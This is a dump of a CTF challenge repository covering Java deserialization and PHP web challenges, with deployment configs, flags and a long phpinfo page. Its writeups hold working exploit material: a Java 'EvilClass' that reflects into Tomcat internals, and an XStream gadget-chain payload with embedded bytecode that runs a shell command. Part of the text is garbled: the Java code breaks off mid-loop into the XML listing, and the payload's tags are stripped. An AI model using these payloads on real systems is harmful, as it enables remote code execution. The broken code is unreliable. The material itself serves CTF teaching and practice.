├── .gitignore ├── 0ctf-2021-final └── buggyLoader │ ├── deploy │ ├── Dockerfile │ ├── buggyloader.jar │ ├── default.conf │ ├── docker-compose.yml │ └── flag │ └── writeup │ ├── readme.md │ └── solution2 │ ├── EvilClass.java │ ├── Exp.java │ └── Temp.java ├── 0ctf-2021 ├── 0XStream │ ├── deploy │ │ └── attachment.link │ └── writeup │ │ └── touch.xml ├── 1linephp │ ├── README.md │ ├── deploy │ │ ├── 1linephp_reset.sh │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── flag │ │ └── source │ │ │ ├── index.php │ │ │ └── phpinfo.html │ └── writeup │ │ ├── 1linephp_writeup.md │ │ └── 1linephp_writeup_en.md └── 2rm1 │ ├── deploy │ └── attachment.link │ └── writeup.md ├── 0ctf-2022 ├── 3rm1 │ ├── deploy │ │ ├── 3rm1-reset.sh │ │ ├── docker-compose.yml │ │ ├── rmiclient │ │ │ ├── Dockerfile │ │ │ ├── flag │ │ │ └── threermiclient.jar │ │ └── rmiserver │ │ │ ├── Dockerfile │ │ │ └── threermiserver.jar │ ├── readmd.md │ └── writeup │ │ └── readme.md └── hessian-onlyJdk │ ├── deploy │ ├── Dockerfile │ ├── JavaUtils.class │ ├── docker-compose.yml │ ├── flag │ ├── hessian-onlyJdk-reset.sh │ ├── hessian-onlyJdk.jar │ └── jvmtiagent.so │ ├── readmd.md │ └── writeup │ └── readme.md ├── aliyunctf-2023 └── bypassit │ └── deploy │ ├── Dockerfile │ ├── bypass2-reset.sh │ ├── bypassit.jar │ ├── docker-compose.yml │ ├── flag │ ├── libnativerasp.so │ ├── naiverasp.jar │ └── readflag └── hfctf-2022 ├── ezchain ├── Dockerfile ├── docker-compose.yml ├── ezchain.jar ├── flag └── nginx.conf └── ezphp ├── Dockerfile ├── default.conf ├── flag ├── index.php └── nginx.conf /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /0ctf-2021-final/buggyLoader/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | From openjdk:8u222-slim 2 | 3 | RUN apt-get update -y \ 4 | && apt-get install curl -y \ 5 | && useradd ctf \ 6 | && mkdir /opt/app 7 | 8 | COPY buggyloader.jar /opt/app 9 | COPY flag /flag 10 | 11 | WORKDIR /opt/app 12 | 13 | EXPOSE 8080 14 | 15 | USER ctf 16 | CMD ["java", "-jar", "/opt/app/buggyloader.jar"] 17 | -------------------------------------------------------------------------------- /0ctf-2021-final/buggyLoader/deploy/buggyloader.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/0ctf-2021-final/buggyLoader/deploy/buggyloader.jar -------------------------------------------------------------------------------- /0ctf-2021-final/buggyLoader/deploy/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | server_name localhost; 4 | 5 | #charset koi8-r; 6 | #access_log /var/log/nginx/host.access.log main; 7 | 8 | location / { 9 | root /usr/share/nginx/html; 10 | index index.html index.htm; 11 | proxy_pass http://web:8080; 12 | } 13 | 14 | #error_page 404 /404.html; 15 | 16 | # redirect server error pages to the static page /50x.html 17 | # 18 | error_page 500 502 503 504 /50x.html; 19 | location = /50x.html { 20 | root /usr/share/nginx/html; 21 | } 22 | 23 | # proxy the PHP scripts to Apache listening on 127.0.0.1:80 24 | # 25 | #location ~ \.php$ { 26 | # proxy_pass http://127.0.0.1; 27 | #} 28 | 29 | # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 30 | # 31 | #location ~ \.php$ { 32 | # root html; 33 | # fastcgi_pass 127.0.0.1:9000; 34 | # fastcgi_index index.php; 35 | # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; 36 | # include fastcgi_params; 37 | #} 38 | 39 | # deny access to .htaccess files, if Apache's document root 40 | # concurs with nginx's one 41 | # 42 | #location ~ /\.ht { 43 | # deny all; 44 | #} 45 | } 46 | -------------------------------------------------------------------------------- /0ctf-2021-final/buggyLoader/deploy/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | services: 3 | nginx: 4 | image: nginx:1.15 5 | ports: 6 | - "0.0.0.0:40061:80" 7 | restart: always 8 | volumes: 9 | - ./default.conf:/etc/nginx/conf.d/default.conf:ro 10 | networks: 11 | - internal_network 12 | - out_network 13 | web: 14 | build: ./ 15 | restart: always 16 | networks: 17 | - internal_network 18 | networks: 19 | internal_network: 20 | internal: true 21 | ipam: 22 | driver: default 23 | out_network: 24 | driver_opts: 25 | com.docker.network.driver.mtu: 1400 26 | ipam: 27 | driver: default 28 | -------------------------------------------------------------------------------- /0ctf-2021-final/buggyLoader/deploy/flag: -------------------------------------------------------------------------------- 1 | 0ops{shiro_deserialize_in_internal_network} 2 | -------------------------------------------------------------------------------- /0ctf-2021-final/buggyLoader/writeup/readme.md: -------------------------------------------------------------------------------- 1 | [solution 1](https://github.com/ceclin/0ctf-2021-finals-soln-buggy-loader) 2 | 3 | solution 2 provided by [C014](https://github.com/c014) -------------------------------------------------------------------------------- /0ctf-2021-final/buggyLoader/writeup/solution2/EvilClass.java: -------------------------------------------------------------------------------- 1 | package com.yxxx.buggyLoader; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | 9 | public class EvilClass extends AbstractTranslet { 10 | static { 11 | try { 12 | java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); 13 | java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); 14 | java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); 15 | java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); contextField.setAccessible(true); 16 | serviceField.setAccessible(true); 17 | requestField.setAccessible(true); 18 | getHandlerMethod.setAccessible(true); 19 | org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = 20 | (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 21 | org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); 22 | org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); 23 | org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); 24 | for (int i=0;i 2 | 3 | 4 | 5 | 2 6 | 7 | 8 | 0 9 | 0 10 | false 11 | false 12 | false 13 | false 14 | false 15 | 0 16 | 0 17 | 0 18 | 0 19 | 0 20 | 0 21 | 0 22 | 23 | 24 | 25 | 26 | <__name>Pwnr 27 | <__bytecodes> 28 | yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAD3RvdWNoIC90bXAvaGFjawgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjk1NzE5Njk5NDI3MzUyAQAfTHlzb3NlcmlhbC9Qd25lcjk1NzE5Njk5NDI3MzUyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ== 29 | yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ 30 | 31 | <__transletIndex>-1 32 | <__indentNumber>0 33 | 34 | false 35 | 36 | 37 | 38 | 39 | 40 | getOutputProperties 41 | 42 | 43 | com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 44 | getOutputProperties 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 0 53 | 54 | 55 | 56 | 3 57 | 58 | yxxx 59 | outputProperties 60 | 61 | 62 | yxxx 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /0ctf-2021/1linephp/README.md: -------------------------------------------------------------------------------- 1 | ## 1linephp 2 | 3 | ### writeup 4 | 5 | [中文](writeup/1linephp_writeup.md) 6 | 7 | [English](writeup/1linephp_writeup_en.md) 8 | 9 | -------------------------------------------------------------------------------- /0ctf-2021/1linephp/deploy/1linephp_reset.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | while true 3 | do 4 | docker-compose down -v 5 | docker-compose up -d 6 | sleep 10m 7 | done 8 | -------------------------------------------------------------------------------- /0ctf-2021/1linephp/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4.11-apache 2 | 3 | RUN sed -i 's/deb.debian.org/mirror.sjtu.edu.cn/g' /etc/apt/sources.list && \ 4 | sed -i 's/security.debian.org/mirror.sjtu.edu.cn/g' /etc/apt/sources.list && \ 5 | apt-get update -y && \ 6 | apt-get install libzip-dev -y && \ 7 | docker-php-ext-install zip && \ 8 | mkdir /dd810fc36330c200a_flag 9 | 10 | COPY source /var/www/html 11 | COPY flag /dd810fc36330c200a_flag 12 | -------------------------------------------------------------------------------- /0ctf-2021/1linephp/deploy/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | 3 | services: 4 | web: 5 | build: ./ 6 | restart: "always" 7 | ports: 8 | - "50080:80" -------------------------------------------------------------------------------- /0ctf-2021/1linephp/deploy/flag: -------------------------------------------------------------------------------- 1 | flag{flag} 2 | -------------------------------------------------------------------------------- /0ctf-2021/1linephp/deploy/source/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 24 | PHP 7.4.11 - phpinfo() 25 |
26 | 27 | 30 |
28 | PHP logo

PHP Version 7.4.11

29 |
31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 |
System Linux 0699e883b740 4.15.0-147-generic #151-Ubuntu SMP Fri Jun 18 19:21:19 UTC 2021 x86_64
Build Date Oct 13 2020 10:00:41
Configure Command './configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '--with-mhash' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-password-argon2' '--with-sodium=shared' '--with-pdo-sqlite=/usr' '--with-sqlite3=/usr' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-pear' '--with-libdir=lib/x86_64-linux-gnu' '--with-apxs2' '--disable-cgi' 'build_alias=x86_64-linux-gnu'
Server API Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path /usr/local/etc/php
Loaded Configuration File (none)
Scan this dir for additional .ini files /usr/local/etc/php/conf.d
Additional .ini files parsed /usr/local/etc/php/conf.d/docker-php-ext-sodium.ini, 41 | /usr/local/etc/php/conf.d/docker-php-ext-zip.ini 42 |
PHP API 20190902
PHP Extension 20190902
Zend Extension 320190902
Zend Extension Build API320190902,NTS
PHP Extension Build API20190902,NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support provided by mbstring
IPv6 Support enabled
DTrace Support disabled
Registered PHP Streamshttps, ftps, compress.zlib, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transportstcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3
Registered Stream Filterszlib.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk
59 | 60 | 63 |
61 | Zend logo 62 | This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.4.0, Copyright (c) Zend Technologies
64 |
65 |

Configuration

66 |

apache2handler

67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 |
Apache Version Apache/2.4.38 (Debian)
Apache API Version 20120211
Server Administrator webmaster@localhost
Hostname:Port 172.20.0.2:80
User/Group www-data(33)/33
Max Requests Per Child: 0 - Keep Alive: on - Max Per Connection: 100
Timeouts Connection: 300 - Keep-Alive: 5
Virtual Server Yes
Server Root /etc/apache2
Loaded Modules core mod_so mod_watchdog http_core mod_log_config mod_logio mod_version mod_unixd mod_access_compat mod_alias mod_auth_basic mod_authn_core mod_authn_file mod_authz_core mod_authz_host mod_authz_user mod_autoindex mod_deflate mod_dir mod_env mod_filter mod_mime prefork mod_negotiation mod_php7 mod_reqtimeout mod_setenvif mod_status
79 | 80 | 81 | 82 | 83 | 84 |
DirectiveLocal ValueMaster Value
engine11
last_modified00
xbithack00
85 |

Apache Environment

86 | 87 | 88 | 89 | 90 | 91 | 92 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 |
VariableValue
HTTP_HOST 127.0.0.1
HTTP_USER_AGENT curl/7.64.0
HTTP_ACCEPT */*
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE <address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address> 93 |
SERVER_SOFTWARE Apache/2.4.38 (Debian)
SERVER_NAME 127.0.0.1
SERVER_ADDR 127.0.0.1
SERVER_PORT 80
REMOTE_ADDR 127.0.0.1
DOCUMENT_ROOT /var/www/html
REQUEST_SCHEME http
CONTEXT_PREFIX no value
CONTEXT_DOCUMENT_ROOT /var/www/html
SERVER_ADMIN webmaster@localhost
SCRIPT_FILENAME /var/www/html/phpinfo.php
REMOTE_PORT 40012
GATEWAY_INTERFACE CGI/1.1
SERVER_PROTOCOL HTTP/1.1
REQUEST_METHOD GET
QUERY_STRING no value
REQUEST_URI /phpinfo.php
SCRIPT_NAME /phpinfo.php
113 |

HTTP Headers Information

114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 |
HTTP Request Headers
HTTP Request GET /phpinfo.php HTTP/1.1
Host 127.0.0.1
User-Agent curl/7.64.0
Accept */*
HTTP Response Headers
X-Powered-By PHP/7.4.11
123 |

Core

124 | 125 | 126 |
PHP Version 7.4.11
127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 |
DirectiveLocal ValueMaster Value
allow_url_fopenOnOn
allow_url_includeOffOff
arg_separator.input&&
arg_separator.output&&
auto_append_fileno valueno value
auto_globals_jitOnOn
auto_prepend_fileno valueno value
browscapno valueno value
default_charsetUTF-8UTF-8
default_mimetypetext/htmltext/html
disable_classesno valueno value
disable_functionsno valueno value
display_errorsOnOn
display_startup_errorsOffOff
doc_rootno valueno value
docref_extno valueno value
docref_rootno valueno value
enable_dlOnOn
enable_post_data_readingOnOn
error_append_stringno valueno value
error_logno valueno value
error_prepend_stringno valueno value
error_reportingno valueno value
expose_phpOnOn
extension_dir/usr/local/lib/php/extensions/no-debug-non-zts-20190902/usr/local/lib/php/extensions/no-debug-non-zts-20190902
file_uploadsOnOn
hard_timeout22
highlight.comment#FF8000#FF8000
highlight.default#0000BB#0000BB
highlight.html#000000#000000
highlight.keyword#007700#007700
highlight.string#DD0000#DD0000
html_errorsOnOn
ignore_repeated_errorsOffOff
ignore_repeated_sourceOffOff
ignore_user_abortOffOff
implicit_flushOffOff
include_path.:/usr/local/lib/php.:/usr/local/lib/php
input_encodingno valueno value
internal_encodingno valueno value
log_errorsOffOff
log_errors_max_len10241024
mail.add_x_headerOffOff
mail.force_extra_parametersno valueno value
mail.logno valueno value
max_execution_time3030
max_file_uploads2020
max_input_nesting_level6464
max_input_time-1-1
max_input_vars10001000
memory_limit128M128M
open_basedirno valueno value
output_buffering00
output_encodingno valueno value
output_handlerno valueno value
post_max_size8M8M
precision1414
realpath_cache_size4096K4096K
realpath_cache_ttl120120
register_argc_argvOnOn
report_memleaksOnOn
report_zend_debugOnOn
request_orderno valueno value
sendmail_fromno valueno value
sendmail_path/usr/sbin/sendmail -t -i/usr/sbin/sendmail -t -i
serialize_precision-1-1
short_open_tagOnOn
SMTPlocalhostlocalhost
smtp_port2525
sys_temp_dirno valueno value
syslog.facilityLOG_USERLOG_USER
syslog.filterno-ctrlno-ctrl
syslog.identphpphp
track_errorsOffOff
unserialize_callback_funcno valueno value
upload_max_filesize2M2M
upload_tmp_dirno valueno value
user_dirno valueno value
user_ini.cache_ttl300300
user_ini.filename.user.ini.user.ini
variables_orderEGPCSEGPCS
xmlrpc_error_number00
xmlrpc_errorsOffOff
zend.assertions11
zend.detect_unicodeOnOn
zend.enable_gcOnOn
zend.exception_ignore_argsOffOff
zend.multibyteOffOff
zend.script_encodingno valueno value
zend.signal_checkOffOff
220 |

ctype

221 | 222 | 223 |
ctype functions enabled
224 |

curl

225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 |
cURL support enabled
cURL Information 7.64.0
Age 4
Features
AsynchDNS Yes
CharConv No
Debug No
GSS-Negotiate No
IDN Yes
IPv6 Yes
krb4 No
Largefile Yes
libz Yes
NTLM Yes
NTLMWB Yes
SPNEGO Yes
SSL Yes
SSPI No
TLS-SRP Yes
HTTP2 Yes
GSSAPI Yes
KERBEROS5 Yes
UNIX_SOCKETS Yes
PSL Yes
HTTPS_PROXY Yes
MULTI_SSL No
BROTLI No
Protocols dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, ldaps, pop3, pop3s, rtmp, rtsp, scp, sftp, smb, smbs, smtp, smtps, telnet, tftp
Host x86_64-pc-linux-gnu
SSL Version OpenSSL/1.1.1d
ZLib Version 1.2.11
libSSH Version libssh2/1.8.0
259 | 260 | 261 | 262 |
DirectiveLocal ValueMaster Value
curl.cainfono valueno value
263 |

date

264 | 265 | 266 | 267 | 268 | 269 | 270 |
date/time support enabled
timelib version 2018.04
"Olson" Timezone Database Version 2020.1
Timezone Database internal
Default timezone UTC
271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 |
DirectiveLocal ValueMaster Value
date.default_latitude31.766731.7667
date.default_longitude35.233335.2333
date.sunrise_zenith90.58333390.583333
date.sunset_zenith90.58333390.583333
date.timezoneno valueno value
279 |

dom

280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 |
DOM/XML enabled
DOM/XML API Version 20031129
libxml Version 2.9.4
HTML Support enabled
XPath Support enabled
XPointer Support enabled
Schema Support enabled
RelaxNG Support enabled
290 |

fileinfo

291 | 292 | 293 | 294 |
fileinfo support enabled
libmagic 537
295 |

filter

296 | 297 | 298 |
Input Validation and Filtering enabled
299 | 300 | 301 | 302 | 303 |
DirectiveLocal ValueMaster Value
filter.defaultunsafe_rawunsafe_raw
filter.default_flagsno valueno value
304 |

ftp

305 | 306 | 307 | 308 |
FTP support enabled
FTPS support enabled
309 |

hash

310 | 311 | 312 | 313 |
hash support enabled
Hashing Engines md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
314 | 315 | 316 | 317 |
MHASH support Enabled
MHASH API Version Emulated Support
318 |

iconv

319 | 320 | 321 | 322 | 323 |
iconv support enabled
iconv implementation glibc
iconv library version 2.28
324 | 325 | 326 | 327 | 328 | 329 |
DirectiveLocal ValueMaster Value
iconv.input_encodingno valueno value
iconv.internal_encodingno valueno value
iconv.output_encodingno valueno value
330 |

json

331 | 332 | 333 |
json support enabled
334 |

libxml

335 | 336 | 337 | 338 | 339 | 340 |
libXML support active
libXML Compiled Version 2.9.4
libXML Loaded Version 20904
libXML streams enabled
341 |

mbstring

342 | 343 | 344 | 345 | 346 | 347 |
Multibyte Support enabled
Multibyte string engine libmbfl
HTTP input encoding translation disabled
libmbfl version 1.3.2
348 | 349 | 350 |
mbstring extension makes use of "streamable kanji code filter and converter", which is distributed under the GNU Lesser General Public License version 2.1.
351 | 352 | 353 | 354 |
Multibyte (japanese) regex support enabled
Multibyte regex (oniguruma) version 6.9.1
355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 |
DirectiveLocal ValueMaster Value
mbstring.detect_orderno valueno value
mbstring.encoding_translationOffOff
mbstring.func_overload00
mbstring.http_inputno valueno value
mbstring.http_outputno valueno value
mbstring.http_output_conv_mimetypes^(text/|application/xhtml\+xml)^(text/|application/xhtml\+xml)
mbstring.internal_encodingno valueno value
mbstring.languageneutralneutral
mbstring.regex_retry_limit10000001000000
mbstring.regex_stack_limit100000100000
mbstring.strict_detectionOffOff
mbstring.substitute_characterno valueno value
370 |

mysqlnd

371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 |
mysqlndenabled
Version mysqlnd 7.4.11
Compression supported
core SSL supported
extended SSL supported
Command buffer size 4096
Read buffer size 32768
Read timeout 86400
Collecting statistics Yes
Collecting memory statistics No
Tracing n/a
Loaded plugins mysqlnd,debug_trace,auth_plugin_mysql_native_password,auth_plugin_mysql_clear_password,auth_plugin_caching_sha2_password,auth_plugin_sha256_password
API Extensions no value
386 |

openssl

387 | 388 | 389 | 390 | 391 | 392 |
OpenSSL support enabled
OpenSSL Library Version OpenSSL 1.1.1d 10 Sep 2019
OpenSSL Header Version OpenSSL 1.1.1d 10 Sep 2019
Openssl default config /usr/lib/ssl/openssl.cnf
393 | 394 | 395 | 396 | 397 |
DirectiveLocal ValueMaster Value
openssl.cafileno valueno value
openssl.capathno valueno value
398 |

pcre

399 | 400 | 401 | 402 | 403 | 404 | 405 |
PCRE (Perl Compatible Regular Expressions) Support enabled
PCRE Library Version 10.34 2019-11-21
PCRE Unicode Version 12.1.0
PCRE JIT Support enabled
PCRE JIT Target x86 64bit (little endian + unaligned)
406 | 407 | 408 | 409 | 410 | 411 |
DirectiveLocal ValueMaster Value
pcre.backtrack_limit10000001000000
pcre.jit11
pcre.recursion_limit100000100000
412 |

PDO

413 | 414 | 415 | 416 |
PDO supportenabled
PDO drivers sqlite
417 |

pdo_sqlite

418 | 419 | 420 | 421 |
PDO Driver for SQLite 3.xenabled
SQLite Library 3.27.2
422 |

Phar

423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 |
Phar: PHP Archive supportenabled
Phar API version 1.1.1
Phar-based phar archives enabled
Tar-based phar archives enabled
ZIP-based phar archives enabled
gzip compression enabled
bzip2 compression disabled (install ext/bz2)
Native OpenSSL support enabled
433 | 434 | 436 |
435 | Phar based on pear/PHP_Archive, original concept by Davey Shafik.
Phar fully realized by Gregory Beaver and Marcus Boerger.
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
437 | 438 | 439 | 440 | 441 | 442 |
DirectiveLocal ValueMaster Value
phar.cache_listno valueno value
phar.readonlyOnOn
phar.require_hashOnOn
443 |

posix

444 | 445 | 446 |
POSIX support enabled
447 |

Reflection

448 | 449 | 450 |
Reflection enabled
451 |

session

452 | 453 | 454 | 455 | 456 |
Session Support enabled
Registered save handlers files user
Registered serializer handlers php_serialize php php_binary
457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 |
DirectiveLocal ValueMaster Value
session.auto_startOffOff
session.cache_expire180180
session.cache_limiternocachenocache
session.cookie_domainno valueno value
session.cookie_httponly00
session.cookie_lifetime00
session.cookie_path//
session.cookie_samesiteno valueno value
session.cookie_secure00
session.gc_divisor100100
session.gc_maxlifetime14401440
session.gc_probability11
session.lazy_writeOnOn
